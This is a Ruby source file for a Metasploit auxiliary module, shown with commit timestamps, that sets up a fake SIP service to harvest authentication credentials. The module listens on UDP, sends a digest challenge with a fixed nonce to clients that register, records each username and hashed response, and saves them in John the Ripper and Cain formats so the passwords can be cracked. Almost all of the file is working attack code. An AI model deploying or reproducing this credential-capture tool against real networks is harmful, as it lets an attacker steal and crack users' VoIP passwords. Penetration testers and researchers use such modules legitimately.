2012-07-18 18:45:08 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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2012-07-19 18:34:02 +00:00
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require 'rex/socket'
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2012-07-18 18:45:08 +00:00
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: SIP',
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'Version' => '$Revision$',
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'Description' => %q{
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This module provides a fake SIP service that is designed to
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capture authentication credentials. It captures challenge and
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response pairs that can be supplied to Cain or JtR for cracking.
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},
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'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
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'License' => MSF_LICENSE,
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'Actions' => [ [ 'Capture' ] ],
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'PassiveActions' => [ 'Capture' ],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]),
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OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
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OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]),
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OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
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OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
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], self.class)
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register_advanced_options(
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[
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OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]),
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OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]),
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], self.class)
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end
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def sip_parse_authorization(data)
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kvps = {}
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kvps['scheme'] = data.slice!(0, data.index(' '))
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data.split(/,\s?/).each do | item |
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tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0]
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kvps[tokens[0]] = tokens[1]
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end
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kvps
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end
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def sip_parse_request(data)
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response = {
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:headers_raw => [],
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:headers => {},
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:uri => nil,
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:method => nil,
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:protocol => nil
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}
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status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/)
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response[:method] = status[0]
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response[:uri] = status[1]
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response[:protocol] = status[2]
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while data.index(/\r?\n/)
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header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp
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response[:headers_raw] << header
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key, val = header.split(/:\s*/, 2)
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response[:headers][key] = val
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end
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response
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end
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def sip_send_error_message(request, code, msg)
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ip = @requestor[:ip]
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port = @requestor[:port]
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tag = (0...8).map{65.+(rand(25)).chr}.join
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nonce = datastore['NONCE']
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realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip)
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2012-07-18 18:45:08 +00:00
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auth = []
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auth << "SIP/2.0 #{code} #{msg}"
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auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}")
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auth << "From: #{request[:headers]['From']}"
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auth << "To: #{request[:headers]['To']};tag=#{tag}"
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auth << "Call-ID: #{request[:headers]['Call-ID']}"
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auth << "CSeq: #{request[:headers]['CSeq']}"
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auth << "Expires: 600"
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auth << "Min-Expires: 240"
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auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\""
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auth << "Server: #{datastore['SRVVERSION']}"
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auth << "Content-Length: 0"
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auth << ""
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2012-07-19 18:34:02 +00:00
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@sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port])
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end
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2012-07-20 11:27:45 +00:00
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# removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR
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def sip_sanitize_address(addr)
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if ( addr =~ /:/ )
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return addr.scan(/.*:(.*)/)[0][0]
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end
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return addr
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end
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2012-07-18 18:45:08 +00:00
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def run
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begin
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@port = datastore['SRVPORT'].to_i
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@sock = Rex::Socket::Udp.create(
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'LocalHost' => datastore['SRVHOST'],
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'LocalPort' => @port,
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'Context' => {'Msf' => framework, 'MsfExploit' => self} )
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@run = true
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2012-07-20 11:27:45 +00:00
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server_ip = sip_sanitize_address(datastore['SRVHOST'])
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2012-07-18 18:45:08 +00:00
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while @run
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res = @sock.recvfrom()
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@requestor = {
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:ip => res[1],
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:port => res[2]
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}
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client_ip = sip_sanitize_address(res[1])
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next if not res[0] or res[0].empty?
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request = sip_parse_request(res[0])
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method = request[:method]
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case method
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when "REGISTER"
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authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] )
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if authorization
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if ( request[:uri] =~ /^sip:.*?:\d+/ )
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# current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060
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print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response")
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end
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auth_tokens = sip_parse_authorization(authorization)
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response = ( auth_tokens['response'] ? auth_tokens['response'] : "" )
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algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" )
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username = auth_tokens['username']
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proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}"
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print_status("SIP LOGIN: #{proof}")
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report_auth_info(
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:host => @requestor[:ip],
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:port => @requestor[:port],
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:sname => 'sip_challenge',
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:user => username,
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:pass => response + ":" + auth_tokens['nonce'] + ":" + algorithm,
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:type => "sip_hash",
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:proof => proof,
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:source_type => "captured",
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:active => true
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)
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if datastore['JOHNPWFILE']
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resp = []
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resp << "$sip$"
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resp << server_ip
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resp << client_ip
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resp << username
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resp << auth_tokens['realm']
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resp << method
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resp << "sip"
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resp << request[:uri].scan(/^.*?:(.*)$/)
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resp << auth_tokens['nonce']
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resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" )
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resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" )
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resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" )
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resp << algorithm
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resp << response
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fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab")
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fd.puts(username + ":" + resp.join("*"))
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fd.close
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end
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if datastore['CAINPWFILE']
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resp = []
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resp << auth_tokens['realm']
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resp << auth_tokens['username']
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resp << ""
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resp << request[:uri]
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resp << auth_tokens['nonce']
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resp << response
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resp << method
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resp << algorithm
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fd = File.open(datastore['CAINPWFILE'], "ab")
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fd.puts resp.join("\t") + "\r\n"
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fd.close
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end
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sip_send_error_message(request, 401, "Unauthorized")
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else
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sip_send_error_message(request, 401, "Unauthorized")
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end
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when "ACK"
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# do nothing
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else
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print_error("Unhandled method: #{request[:method]}")
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sip_send_error_message(request, 401, "Unauthorized")
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end
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end
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rescue ::Interrupt
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raise $!
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
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nil
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rescue ::Exception => e
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print_error("Unknown error: #{e.class} #{e.backtrace}")
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ensure
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@sock.close
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end
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end
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end
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